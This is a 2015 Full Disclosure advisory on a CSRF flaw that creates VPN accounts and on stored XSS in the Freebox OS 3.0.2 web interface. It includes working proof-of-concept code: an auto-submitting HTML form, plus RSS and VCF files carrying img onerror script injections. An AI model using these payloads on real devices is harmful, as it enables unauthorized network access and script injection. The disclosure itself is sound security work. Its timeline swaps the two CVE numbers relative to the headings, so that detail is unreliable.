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Date: Mon, 1 Jun 2015 23:56:08 +0200
From: DAU Huy Ngoc <huyngocbk@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Freebox OS Web interface 3.0.2 XSS, CSRF
Hello list,
Here are two CVEs I reported to Freebox, a french ISP:
- CVE-2014-9382 - CSRF in VPN user account creation
- CVE-2014-9405 - XSS
Vulnerable product: Freebox OS Web interface 3.0.2.
CVE-2014-9382 - CSRF in Freebox OS Web interface 3.0.2 allowing VPN user
account creation
====================
Risk level: High
Freebox allows users to create VPN connections to their home network.
In version 3.0.2 when a new user is created, the following JSON request is
sent to http://mafreebox.free.fr/api/v3/vpn/user/:
{"login":"foo","password_set":false,"ip_reservation":"","password":"bar"}
This request is vulnerable to CSRF which is easy to trigger.
The following POC would create a new VPN account "ngocdh" / "1234=5678":
<html>
<body onload=vpn.submit()>
<form name="vpn" action="http://mafreebox.free.fr/api/v3/vpn/user/"
method="POST" enctype="text/plain">
<input type="hidden"
name="{"login":"ngocdh","password_set":false,"ip_reservation":"","password":"1234"
value="5678"}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
CVE-2014-9405 - XSS in Freebox OS Web interface 3.0.2
====================
Risk level: low
Two XSS instances with low probability of exploitation were found in the
following places:
- Download RSS
- Contacts
The following POC demonstrates the XSS in the "description" field of a
Download RSS item:
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>From Huy Ngoc</title>
<description>huyngocbk@...il.com</description>
<link>http://google.com</link>
<atom:link rel="hub" href="http://google.com"/>
<atom:link rel="self" href="http://google.com"/>
<item>
<title>Test by huyngoc</title><description><![CDATA[<img src=/
onerror="alert(document.domain)">]]></description>
<pubDate>Wed, 19 <b>Nov 2014</b> 20:36:47 UTC</pubDate>
<guid>http://google.com></guid>
</item>
</channel>
</rss>
In order to exploit this XSS, the attacker must control a RSS feed to which
a user have subscribed.
The following VCF file demonstrates a XSS exploitation POC,
"alert(document.domain)" would be called after importing this VCF file from
the web interface:
BEGIN:VCARD
VERSION:3.0
FN:DAU Huy Ngoc
N:;;;;
URL:<img src=/ onerror='alert(document.domain);'>
END:VCARD
In order to exploit this XSS, the attacker must trick a user into importing
his malicious .vcf.
Timeline:
21/11/2014: XSS CVE-2014-9382 is reported to vendor
21/11/2014: vendor confirmed the vulnerability
02/12/2014: CSRF CVE-2014-9405 is reported to vendor
06/12/2014: a hot fix is released (http://dev.freebox.fr/blog/?p=1867)
Credit: DAU Huy Ngoc (@ngocdh)
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